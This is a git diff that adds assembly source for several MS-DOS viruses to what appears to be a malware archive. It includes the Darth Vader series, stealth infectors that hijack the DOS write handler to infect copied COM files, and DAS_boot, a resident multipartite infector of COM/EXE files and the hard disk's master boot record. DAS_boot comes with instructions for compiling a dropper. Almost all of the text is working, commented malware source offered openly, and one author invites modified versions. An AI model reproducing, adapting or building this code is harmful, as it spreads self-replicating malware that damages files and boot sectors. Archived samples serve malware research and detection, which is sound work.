+ pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,(LastByte-Start-1)/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/MSDOS/Virus.MSDOS.Unknown.darth1.asm b/MSDOS/Virus.MSDOS.Unknown.darth1.asm new file mode 100644 index 00000000..234cb869 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darth1.asm @@ -0,0 +1,164 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R - stealth virus * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT * +;* All Rights Reserved * +;* * +;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS * +;* dispatcher for int21 functions, so it cannot be stoped by programs * +;* like ANTI4US etc... He also cannot be stoped by disk lock utilities * +;* because the virus use WRITE function (40h) of DOS' int21. * +;* Always when you copy COM file with DOS' 'copy' command or PCTools * +;* class programm, you will receive infected (destroyed) copy of file * +;* Infected file won't work, but the virus WILL * +;* * +;* Waleri Todorov * +;* * +;******************************************************************************* + nop ; Dummy NOPs. Required + nop + + mov ah,30h ; Get DOS version + int 21h + cmp al,5 ; If DOS is NOT 5.X + jb OkDOS ; Continue +Exit ; else terminate + int 20h +OkDos + mov ax,1203h ; Get DOS segment + int 2fh ; Via interrupt 2F (undocumented) + + mov si,9000h ; Set ES to 9000 + mov es,si ; Usualy this area is fill with zeros + xor si,si ; SI=0 +Next + inc si ; Next byte + cmp si,0F00h ; If SI==0xF00 + ja Exit ; Then no place found and exit to DOS + push si ; else Save SI in stack + xor di,di ; ES:DI == 9000:0000 + mov cx,offset lastbyte-100h ; Will check virus size + repe cmpsb ; Check until equal + jcxz Found ; if CX==0 then place is found + pop si ; else restore SI from stack + jmp short Next ; and go search next byte +Found + pop di ; Restore saved SI to DI + mov cs:MyPlace,di ; Save new offset in DOS segment + mov [2],di ; at DOSSEG:0002 + mov si,100h ; SI will point beginning in file + push ds ; Save DS + push ds ; Set ES equal to DS + pop es ; + push cs ; Set DS=CS + pop ds ; + mov cx,offset LastByte-100h ; Will move virus size only + rep movsb ; Do move + pop ds ; Restore DS (point to DOSSEG) + + push si ; From this place will search DOS table +NextTable + pop si ; + inc si ; Next byte + jz Exit ; If segment end then exit + push si ; Save SI + lodsw ; Load AX from DS:SI + xchg ax,bx ; Put AX in BX + lodsb ; and load AL from DS:SI + cmp bx,8B2Eh ; Check for special bytes + jne NextTable ; in AL and BX + cmp al,9Fh + jne NextTable ; If not match -> search next byte +FoundTable + lodsw ; Else load table address to AX + + xchg ax,bx ; Put table address to BX + mov si,[bx+80h] ; Load current offset of 40h function + mov di,offset Handle ; Put its offset to DI + mov cx,5 ; Will check 5 bytes only + push cs ; ES:DI point handling of 40 in file + pop es + repe cmpsb ; Check if DS:SI match to ES:DI + jcxz Exit ; If match -> virus is here -> Exit + mov ax,[bx+80h] ; else load offset of function 40 + mov [4],ax ; And save it to DOSSEG:0004 + mov ax,offset Handle-100h ; Load absolute address of + add ax,cs:MyPlace ; new handler and adjust its location + mov [bx+80h],ax ; Store new address in DOS table + + int 20h ; Now virus is load and active + +Handle ; Handle function 40h of int 21 + push ax ; Save important registers + push bx + push cx + push ds + push es + push si + push di + + cmp cx,270d ; Check if write less than virus size + jb Do ; If so -> write with no infection + + mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00 + mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02 + + mov ax,1220h ; Get number of File Handle table + int 2fh ; Via int 2F (undocumented) + mov bl,es:[di] ; Load number to BL + mov ax,1216h ; Get File Handle table address + int 2fh ; Via int 2F (undocumented) + + push di ; Save table offset + add di,20h ; Now offset point to NAME of file + + push cs ; DS now will point in virus + pop ds + + mov si,offset Command-100h ; Address of string COMM + add si,cs:[2] ; Adjust for different offset in DOS + mov cx,4 ; Check 4 bytes + repe cmpsb ; Do check until equal + pop di ; Restore address of table + jcxz Do ; If match -> file is COMMand.XXX + + add di,28h ; Else DI point to EXTENSION of file + mov si,offset Com-100h ; Address of string COM + add si,cs:[2] ; Adjust for different offset in DOS + mov cx,3 ; Check 3 bytes + repe cmpsb ; Do check until equal + jne Do ; If NOT *.COM file -> write normal + + mov di,cs:[0C02h] ; Else restore data buffer from + mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02 + mov si,cs:[2] ; Get virus start offset + mov cx,offset LastByte-100 ; Will move virus only + rep movsb ; Move its code in data to write + +; Now virus is placed in data buffer of COPY command or PCTools etc... +; When they write to COM file they write virus either + +Do + pop di ; Restore importatnt registers + pop si + pop es + pop ds + pop cx + pop bx + pop ax + + db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40) + ret ; Return to caller (usualy DOS) + +Command db 'COMM' ; String for check COMMand.XXX +Com db 'COM' ; String for check *.COM + + db 'Darth Vader' ; Signature + + +LastByte nop ; Mark to calculate virus size + +MyPlace + dw 0 ; Temporary variable. Not writed + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.darth2.asm b/MSDOS/Virus.MSDOS.Unknown.darth2.asm new file mode 100644 index 00000000..90366c70 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darth2.asm @@ -0,0 +1,227 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R ][ * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* This is the second release of Darth Vader virus. Now he infect only * +;* those COM file, wich have area of 345 (or more) zeros. Virus put * +;* himself in this area and make jump to its code. As before, he can't * +;* be stoped by ANTI4US or disk write utilities - DOS function 40h * +;* (WRITE to File/Device). The virus operate in memory only, so there is * +;* no slowing in operations. This release of virus support DOS versions * +;* from 2.X till 4.X. * +;* You may make any modifications in this source, BUT let me know * +;* what have you done (drop message at Virus eXchange BBS) * +;* Waleri Todorov * +;******************************************************************************* + + + org 0 ; Virus start offset is 0 + + call NextLine ; Call next instruction +NextLine + pop si ; and calculate its present location + sub si,3 + + mov [0f0h],si ; Save own location in PSP + mov [0FEh],ax ; Save AX in PSP (Important for DOS + ; external commands) + xor ax,ax ; Make DS point in interrupts vectors + mov ds,ax ; + mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B + mov ax,9000h ; DS will point at 9000h + mov ds,ax ; usualy there are zeros + xor di,di ; ES:DI point first byte in DOS segment + +NextZero + inc di ; Next byte + cmp di,0F00h ; If more than F00 bytes checked + ja ReturnControl ; then suppose no room and exit + push di ; else save tested offset + xor si,si ; DS:SI == 9000:0000 (zeros area) + mov cx,offset LastByte ; Size of virus + repe cmpsb ; Compare until equal + pop di ; Restore tested area offset + jcxz Found ; If tested area is fill with zeros-> + jmp short NextZero ; else check next +Found ; <- Will install himself in this area + mov si,cs:[0F0h] ; Get own start address (maybe diff.) + mov cs:[0F2h],di ; Save offset in DOS segment + push cs ; Set DS point to virus segment + pop ds ; + mov cx,offset LastByte ; Size of virus + rep movsb ; Move itself in DOSSEG + push es ; Set DS point to DOSSEG + pop ds + + mov si,di ; From this offset (after virus) +NextCall ; Will search DOS dispatcher + inc si ; Next byte + jz ReturnControl ; If segment overrun -> Return control + push si ; Save tested area offset + lodsw ; Load word from DS:SI + xchg ax,bx ; and put readed value in BX + lodsb ; Load byte from DS:SI + cmp bx,0FF36h ; Check 'magic' bytes + je CheclAl ; If first word match -> check last +AgainCall + pop si ; else restore offset + jmp short NextCall ; and go search next byte +CheclAl + cmp al,16h ; Check last 'magic' byte + jne AgainCall ; If not match go search next byte + + pop si ; Else restore founded offset + push si ; and save it for further usage + mov di,cs:[0F2h] ; Get virus offset + mov [4],di ; and save it to DOSSEG + add di,offset HandleCall ; DI now adjusted to + movsw ; original dispatcher place + movsw ; Original dispatcher go at ES:DI for + movsb ; further calls from virus + pop di ; Restore founded offset + mov al,9Ah ; and put an absolute FAR CALL + stosb + mov ax,offset Handle ; Put offset of new dispatcher + add ax,cs:[0F2h] ; adjust him for different offsets + stosw ; and store offset in FAR CALL + mov ax,es ; put DOSSEG either in FAR CALL + stosw + +; Since this moment virus is installed and operated in memory. If make a copy +; of a file with DOS copy or PCTools and if file have area of 345 (or more) +; zeros, the copy (not the original) will became infected. Copied file will +; operate correctly when you start him. The virus logic allow multiple copies +; of the virus in the memory so you may have file with several copies of virus +; (each memory copy put himself in file) + + +ReturnControl ; Return control to main program + push cs ; Set DS and ES to point at PSP + push cs + pop ds + pop es + mov di,100h ; Set ES:DI point start of file at PSP:100 + push di ; Put DI in stack for dummy return + mov si,[0F0h] ; Get beginning of the virus + add si,offset First3 ; and adjust for first 3 instr. + movsw ; Move saved First instructions + movsb ; + mov ax,[0FEh] ; Restore saved AX (required by DOS + ret ; external command. Return control + ; via dummy RET +Fail + jmp Do ; Requested jump! Don't touch here! + +Handle + mov cs:[0Ah],ds ; Save write buffer segment + mov cs:[0Ch],dx ; Save write buffer offset + mov cs:[0Eh],cx ; Save write buffer size + + push ax ; Save important registers + push bx + push cx + push es + push si + push di + + cmp ah,40h ; If function is not 40 (WRITE) + jne Fail ; then call DOS with no infection + + cmp cx,offset LastByte+10h ; Check if size of buffer + jb Fail ; is big enough to hold all virus + + mov ax,1220h ; Get file handle internal table number + int 2Fh ; Via int2F (undocumented) + mov bl,es:[di] ; Load table number to BL + mov ax,1216h ; Get handle table address in ES:DI + int 2Fh ; Via int2F (undocumented) + add di,28h ; ES:DI will point file extension + + push cs ; Set DS to point in virus + pop ds + + mov si,offset Com ; SI point to COM string + add si,[4] ; adjust for different offsets + mov cx,3 ; Will compare 3 bytes + repe cmpsb ; Compare until equal + jne Do ; If not equal -> exit with no infect + + push ds ; ES point to virus (DOS) segment + pop es + mov ds,cs:[0Ah] ; DS point to write buffer segment + mov si,cs:[0Ch] ; SI point to write buffer offset + mov di,offset First3 ; DI point to save area for + add di,cs:[4] ; first 3 instruction. Adjust fo offset + movsw ; Save first 3 instruction from write buffer + movsb ; to virus buffer + + mov ax,9000h ; ES wil point zeros at 9000 + mov es,ax + mov cx,cs:[0Eh] ; Restore write buffer size +SearchHole + xor di,di ; ES:DI point to 9000:0000 + inc si ; SI point next byte from write buffer + dec cx ; Decrease remaining bytes + jz Do ; If test all buffer -> no infection + push cx ; Save remain buffer size + push si ; Save current buffer offset + mov cx,offset LastByte ; Will check for virus size only + repe cmpsb ; Check until equal + pop si ; Restore tested area offset + jcxz FoundHole ; If 345 zeros -> Go infect + pop cx ; Else restore remain buffer size + jmp short SearchHole ; And go check next byte +FoundHole + pop cx ; Restore remain buffer size + push si ; Save DS:SI (point to zeros in write buffer) + push ds ; + mov es,cs:[0Ah] ; ES:DI point to beginning of buffer + mov di,cs:[0Ch] ; + mov al,0E9h ; Put a NEAR JMP in buffer + stosb ; + sub si,cs:[0Ch] ; Calculate argument for JMP + sub si,3 + mov ax,si ; and store it in buffer + stosw ; + + pop es ; ES:DI now will point to zeros + pop di ; and the JMP address point here + ; So virus will receive control first + push cs ; DS:SI will point to virus code in memory + pop ds + mov si,cs:[4] ; Adjust for different offsets + mov cx,offset LastByte ; Will move virus size only + rep movsb ; Move virus in write buffer + +Do + pop di ; Restore important registers + pop si + pop es + pop cx + pop bx + pop ax + + mov dx,cs:[0Ch] ; Restore write buffer address + mov ds,cs:[0Ah] ; to DS:DX + +HandleCall + db 5 dup (0) ; Here come original DOS jump instr. + ; Usualy it is CALL SS:[MemOffs] + ; In original DOS jump instr. is placed + ; a FAR CALL to new WRITE handler + retf ; Return to DOS + +First3 ; Here come first 3 instruction of infected file + int 20h ; Now they are dummy terminate + nop +Com + db 'COM' ; String to check for any COM file + + db 'Darth Vader' ; Virus signature + +LastByte ; Dummy label to compute virus size + nop + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.darth3.asm b/MSDOS/Virus.MSDOS.Unknown.darth3.asm new file mode 100644 index 00000000..00f75811 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darth3.asm @@ -0,0 +1,197 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R ]I[ * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* This is the third release of Darth Vader virus. He also infect only * +;* those COM file, wich have area of 255 (or more) zeros. As you might * +;* see, virus' size is reduced. This increase possibility file to have * +;* enough zeros to hold virus. In several tests the percentage of * +;* infected file was tested, and it was bigger than in Darth Vader 2. * +;* This release support only DOS 2.X and later, but less than 5.X * +;* You may make any modifications in this source, BUT let me know * +;* what you have done (drop me a message at Virus eXchange BBS) * +;* * +;* Waleri Todorov * +;******************************************************************************* + + + org 0 ; Begin from offset 0 + + nop ; Dummy NOPs. Don't remove them + nop + nop + + call NextLine ; Call next instruction +NextLine + pop bx ; To calculate it's own location + sub bx,6 ; Location stored in BX + mov [0FEh],ax ; Save AX for further usage + + xor ax,ax ; Set DS to point in interrupt table + mov ds,ax ; + les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG + xor di,di ; ES:DI point to DOSSEG:0000 + mov cx,1000h ; Will search 1000h bytes + call SearchZero ; Search Zeros in ES:DI + jc ReturnControl ; If CF==Yes -> no place and exit + mov cs:[bx+offset NewStart],di ; Save beginnig + + xor si,si ; SI=0; + push es ; Set DS point to DOSSEG + pop ds +SearchTable + lodsw ; Load word from DS:SI + cmp ax,8B2Eh ; Check first 'magic' byte + je Found1 ; If match -> check next byte +NotHere + dec si ; Else go search from next byte + jmp short SearchTable +Found1 + lodsb ; Load next byte + cmp al,9Fh ; If match with last 'magic' byte + je FoundTable ; fo to found table + dec si ; else go search from next byte + jmp short NotHere +FoundTable + lodsw ; Load table address to AX + xchg ax,bx ; Exchange AX <-> BX + mov cx,[bx+80h] ; Load in CX old WRITE handler offset + xchg ax,bx ; Exchange AX <-> BX + mov cs:[bx+offset OldWrite],cx ; Save old offset + lea cx,[di+offset Handle] ; Load in CX new offset + xchg ax,bx ; Exchgange AX <-> BX + mov [bx+80h],cx ; Store new WRITE offset to table + xchg ax,bx ; Exchange AX <-> BX + + push cs ; Set DS point to virus code + pop ds ; + mov cx,offset LastByte ; CX = Virus Size + mov si,bx ; SI=virus start offset + rep movsb ; ES:DI point to free area in DOS + ; go in there +ReturnControl + push cs ; Set DS & ES point in host program + push cs + pop ds + pop es + mov di,100h ; DI point CS:100 + lea si,[bx+offset First3] ; SI point old first instr + push di ; Save DI for dummy RETurn + movsw ; Move first 2 byte + movsb ; Move another one + mov ax,[0FEh] ; Restore AX (Remember?) + xor bx,bx ; Clear BX + ret ; Return control to host via dummy RETurn + +; Here terminate virus installation in memory. After this moment +; virus is active and will infect any COM file bigger than the virus +; and having enough zeros + + +SearchZero + xor ax,ax ; Set AX to zero (gonna search zeros) +Again + inc di ; ES:DI++ + push cx ; Save CX + push di ; Save DI + mov cx,offset LastByte ; CX = Virus Size + repe scasb ; Search until equal + pop di ; Restore DI + jcxz FoundPlace ; If CX==0 then ES:DI point to zeros + pop cx ; Else restore CX + loop Again ; And loop again until CX!=0 + stc ; If CX==0 + ret ; Set CF and return to caller (No place) +FoundPlace + pop cx ; Restore CX + clc ; Clear CF (ES:DI point to zero area) + ret ; Return to caller + +; The followed procedure is new WRITE handle. It check does write buffer +; have enough zeros to hold virus. If so -> copy virus in zero area, change +; entry point and write file, else write file only + +Handle + mov ss:[4],bp ; Save BP (BP used as index register) + push es ; Save important registers + push ax ; DS:DX are saved last, because + push bx ; they are used later in infection + push cx + push si + push di + push ds ; + push dx ; + + call NextHandle ; Call NextHandle to calculate +OldWrite ; variable area offset + dw 0 ; Old WRITE handler +NewStart + dw 0 ; Virus offset in DOSSEG +First3 + int 20h ; First 3 instruction of COM file + nop + +NextHandle + pop bp ; Set SS:BP to point to variable area + + cmp cx,offset LastByte+10h ; Check if write buffer + jb Do ; is big enough. If not -> exit + + mov ax,1220h ; Get file handle (BX) table number + int 2Fh ; Via interrupt 2F (undocumented) + mov bl,es:[di] ; Load handle table number in BL + mov ax,1216h ; Get file handle table address + int 2Fh ; Via interrupt 2F (undocumented) + cmp es:[di+29h],'MO' ; Check if file is ?OM + jne Do ; If not -> exit + + pop di ; Set ES:DI to point write buffer + pop es ; + push es ; + push di ; + mov ax,es:[di] ; Set AX to first 2 bytes from buffer + mov [bp+4],ax ; and save it in First instruction + mov al,es:[di+2] ; Set AL to third byte from buffer + mov [bp+6],al ; and save it in First instruction + + call SearchZero ; Search zeros area in buffer + jc Do ; If not found -> exit + + mov bx,di ; Set BX to point zero area + + push cs ; Set DS point to DOSSEG (Virus) + pop ds + mov si,[bp+2] ; Set SI to virus offset in DOSSEG + mov cx,offset LastByte ; Set CX to virus size + rep movsb ; Move virus to buffer + pop di ; Set DI point to buffer (not zero area) + push di + mov al,0E9h ; Set AL to JMP opcode + sub bx,di ; Set BX to virus offset in file + stosb ; Store JMP to buffer + xchg ax,bx ; AX now have offset of virus in file + sub ax,3 ; Calculate JMP argument + stosw ; and store it in buffer + +Do + pop dx ; Restore important registers + pop ds + pop di + pop si + pop cx + pop bx + pop ax + pop es + + push [bp] ; Put old WRITE offset in stack for RET + mov bp,ss:[4] ; Restore BP + + ret ; Call DOS via dummy RETurn + + db 'Darth Vader ' ; Virus sign + +LastByte label byte ; Last byte of virus + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.darth4.asm b/MSDOS/Virus.MSDOS.Unknown.darth4.asm new file mode 100644 index 00000000..5b1b3f22 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.darth4.asm @@ -0,0 +1,144 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R IV * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* Enchanced by: Lazy Wizard * +;* * +;* Turbo Assembler 2.0 * +;* * +;******************************************************************************* + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,[LastByte-Start-1]/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: + pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,[LastByte-Start-1]/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start diff --git a/MSDOS/Virus.MSDOS.Unknown.das_boot.a86 b/MSDOS/Virus.MSDOS.Unknown.das_boot.a86 new file mode 100644 index 00000000..b98faa07 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.das_boot.a86 @@ -0,0 +1,314 @@ +;============================================================================= +; Virus Name: DAS_boot +; Effective Length: 421 Bytes +; Description: Dark Angel's _small virus modified into multipartite +; +; Notes: +; - resident, multipartite, appending .COM/.EXE infector +; - infects .COM and .EXE files when they are executed +; - infects fixed disk MBR +; - no harmful payload +; +; To Compile: +; - use shareware A86 assembler +; - type "a86 das_boot.a86" +; - resulting das_boot.com is virus dropper which, +; if executed, will infect your system with DAS_boot +;============================================================================= + +boot equ 07b00 ;delta offset for boot-time location +com equ 0100 ;delta offset for resident location +EXE_id equ -040 ;EXE infection tag +viruslength equ 01a5 ;length of virus = 421 bytes + +das_boot: + call relative + +oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's + dw ? ;*(02) # of bytes in last page| 1st 3 bytes + dw ? ;*(04) size of file + header (pages) + dw ? ; (06) # of relocation items + dw ? ; (08) size of header (paragraphs) + dw ? ; (0A) min paragraphs needed + dw ? ; (0C) max paragraphs needed + dw ? ;*(0E) ss displacement from entry in para. + dw ? ;*(10) sp value at entry + dw ? ; (12) checksum + dw ? ;*(14) ip value at entry + dw ? ;*(16) cs displacement from entry in para. + ;* - indicates value modified by das_boot +relative: + pop bp ;pop offset of oldheader off of stack + sub bp,03 ;adjust offset to start of program + mov ax,cs ;load ax with current segment + mov cl,04 ;load cl with multiplier/shift value + shl ax,cl ;calculate absolute segment + mov si,bp ;load si with program offset + add si,ax ;calculate absolute address + cmp si,07c00 ;code executing at boot-time address? + jne infect_mbr ;if not, must be executing from file, + ; so attempt to infect MBR + xor ax,ax ;zero ax + mov ds,ax ;point ds to vector table + + push si ;save 0000:07c00 on stack as load + push ds ; location for original MBR + + dec word ptr [0413] ;decrease conventional memory by 1KB + int 012 ;load ax with #KB of conv. memory + mov cx,0106 ;load move (100) and shift (06) values + shl ax,cl ;calculate destination segment + + mov es,ax ;set es to destination segment + mov [022*4+2],ax ;store boot tag in int22 vector seg. + xchg [013*4+2],ax ;point int13 vector to virus segment + mov [offset old13+boot+2],ax ;store old int13 segment value + mov ax,offset int13-com ;load ax with virus int13 handler off. + xchg [013*4],ax ;point int13 vector to virus offset + mov [offset old13+boot],ax ;store old int13 offset value + + xor di,di ;set destination offset=0000 + cld ;clear direction flag (fwd) + rep movsw ;move virus to top of conv. memory + + push es ;push destination segment for retf + mov bx,offset top_mem-com ;load bx with offset + push bx ;push offset for retf + retf ;return to self at new location +top_mem: + pop es ;pop es=0000 as disk load segment + mov ax,0201 ;select read-one-sector function + pop bx ;pop bx=07c00 as disk load offset + mov cl,02 ;cylinder 0, sector 2 (original MBR) + int 013 ;load original MBR + + jmp 0000:07c00 ;jump to execute original MBR + +infect_mbr: + push ds ;preserve registers + push es + + push cs + pop ds ;set ds=cs + push cs + pop es ;set es=cs + + mov ax,0201 ;select read-one-sector function + lea bx,[bp+viruslength] ;set load offset just beyond program + mov cx,01 ;cylinder 0, sector 1 (MBR) + mov dx,080 ;head 0, drive "C" + int 013 ;load MBR + jb exit_small ;if flag=error, exit + + cmp [bx],018e8 ;check for das_boot code + je exit_small ;if equal, MBR already infected, so + ; exit + mov ax,0301 ;select write-one-sector function + inc cx ;cylinder 0, sector 2 + int 013 ;relocate original MBR to sector 2 + + mov si,bp ;set source offset to start of virus + mov di,bx ;set dest. offset to MBR in buffer + mov cx,viruslength ;load move count to cx + rep movsb ;move virus to MBR in memory + + mov ax,0301 ;select write-one-sector function + inc cx ;cylinder 0, sector 1 (MBR) + int 013 ;write infected MBR to drive "C" +exit_small: + pop es ;restore segment registers to point + pop ds ; to PSP + + add bp,03 ;reset bp to point to oldheader + + or sp,sp ;test parity of stack pointer + jpo returnCOM ;if value is odd, COM file is host +returnEXE: + mov ax,ds ;load ax with PSP segment + add ax,010 ;adjust segment value to skip PSP + add [bp+016],ax ;restore orig. cs value in oldheader + add ax,[bp+0e] ;calculate original ss entry value + mov ss,ax ;load ss with original value + mov sp,cs:[bp+010] ;load sp with program entry value + jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via + ; restored value in oldheader +returnCOM: + mov di,0100 ;COM file entry point & move dest. + push di ;save on stack as return offset + mov si,bp ;point to stored COM 1st three bytes + movsw ;move the original three bytes + movsb ; back to the start of the COM file + ret ;return to execute the COM file + ; (return segment already on stack) +int13: + push ax ;preserve registers + push ds + + xor ax,ax ;zero ax + mov ds,ax ;point ds to vector table + mov ax,cs ;set ax=cs + + cmp [090*4],ax ;bypass flag set? + je exit_int13 ;if so, don't steal int21 vector again + + cmp [022*4+2],ax ;int22 vector segment = boot tag? + je exit_int13 ;if so, vectors not fully initialized, + ; so don't steal int21 yet + mov [090*4],ax ;put bypass flag in unused BASIC vect. + xchg [021*4+2],ax ;point int21 vector to virus segment + mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment + mov ax,offset int21-com ;load ax with virus int21 handler off. + xchg [021*4],ax ;point int21 vector to virus offset + mov cs:[offset old21-com],ax ;store orig. int21 handler offset +exit_int13: + pop ds ;restore registers + pop ax + + db 0ea ;"jmp far" to location specified in +old13: ; old13 + dw ?, ? ;offset and segment of original int13 + ; handler +infect: + push ax ;preserve registers + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,03d02 ;open file read/write function + int 021 ;attempt to open file read/write + xchg ax,bx ;save file handle in bx + + push cs + pop ds ;set ds=cs + push cs + pop es ;set es=cs + + mov si,offset oldheader-com ;point to offset of oldheader + + mov ah,03f ;read file function + mov cx,018 ;first 18 bytes + push cx ;save value for later use + mov dx,si ;point to oldheader offset + int 021 ;load file's 1st 18 bytes to oldheader + + cmp ax,cx ;18 bytes successfully read? + jne go_already_infected ;if not, open file read/write failed, + ; so exit + + mov di,offset target-com ;point to target offset + push di ;save offset value for later use + rep movsb ;move oldheader to target (cx=18) + pop di ;restore di to target offset value + + mov ax,04202 ;move file pointer, offset from EOF + cwd ;set dx=0000 (LSP) [cx=0000 (MSP)] + int 021 ;move file pointer to EOF, dx:ax + ; returned as new file pointer + cmp ds:[di],'ZM' ;check target header for EXE tag + je infectEXE ;if present, infect EXE + +infectCOM: + sub ax,03 ;subtract 3 from file pointer offset + mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header + mov ds:[di+01],ax ;put jmp offset in target header + + sub ax,viruslength ;calc. jmp offset of infected file + cmp ds:[si-017],ax ;does file's jmp offset match? + jne finishinfect ;if not, it's not infected, so infect +go_already_infected: + pop cx ;discard excess value on stack + jmp short already_infected ;exit infection routine + +int21: + cmp ax,04b00 ;load and execute file request? + je infect ;if so, attempt to infect file + jmp short chain ;if not, jump to orig. int21 handler + +infectEXE: + cmp word ptr [di+010],EXE_id ;check for infect tag in target SP + je go_already_infected ;if tag is present, don't infect + + push ax ;push file pointer LSP + push dx ;push file pointer MSP + + add ax,viruslength ;add virus length to file length (LSP) + adc dx,0 ;adjust MSP (segment) to reflect + ; any carry from adjustment of LSP + mov cx,0200 ;set cx=1 page (512d bytes) + div cx ;divide new file length by 512d to + ; calculate number of pages in file + or dx,dx ;remainder in dx? + jz nohiccup ;if not, no need to add another page + inc ax ;add another page to length value +nohiccup: + mov ds:[di+04],ax ;store # of pages in target header + mov ds:[di+02],dx ;store # of bytes in last page in + ; target header + pop dx ;restore dx to file pointer MSP + pop ax ;restore ax to file pointer LSP + + mov cx,010 ;convert dx:ax to + div cx ; segment(ax):offset(dx) form + + sub ax,ds:[di+08] ;subtract header size + + mov ds:[di+014],dx ;store new entry ip in target + mov ds:[di+016],ax ;store new entry cs displacement + + mov ds:[di+0e],ax ;store new entry ss displacement + mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target +finishinfect: + mov ah,040 ;write to file w/handle function + mov cx,viruslength ;specify # of bytes to write + xor dx,dx ;set buffer start at virus offset + int 021 ;write _small to EOF + + mov ax,04200 ;move file pointer, offset from BOF + xor cx,cx ;MSP of offset cx=0000 + cwd ;LSP of offset dx=0000 + int 021 ;move file pointer to BOF + + mov ah,040 ;write to file w/handle function + mov dx,di ;set buffer start at target header + pop cx ;specify 18 bytes to write + int 021 ;write modified EXE header (or COM + ; jmp xxxx & next 15 bytes) to BOF +already_infected: + mov ah,03e ;close file w/handle function + int 021 ;close file +exitinfect: + pop es ;preserve registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +chain: + db 0ea ;"jmp far" to location specified in old21 +heap: + +old21 dw ?, ? ;offset and segment of orig. int21 handler + +target dw ? ;*(00) EXE file signature | COM file's + dw ? ;*(02) # of bytes in last page| jmp to virus + dw ? ;*(04) size of file + header (pages) + dw ? ; (06) # of relocation items + dw ? ; (08) size of header (paragraphs) + dw ? ; (0A) min paragraphs needed + dw ? ; (0C) max paragraphs needed + dw ? ;*(0E) ss displacement from entry in para. + dw ? ;*(10) sp value at entry + dw ? ; (12) checksum + dw ? ;*(14) ip value at entry + dw ? ;*(16) cs displacement from entry in para. + ;* - indicates value modified by das_boot +endheap: + + end das_boot diff --git a/MSDOS/Virus.MSDOS.Unknown.datacrim.asm b/MSDOS/Virus.MSDOS.Unknown.datacrim.asm new file mode 100644 index 00000000..5cfbc6d2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.datacrim.asm @@ -0,0 +1,537 @@ +; +; 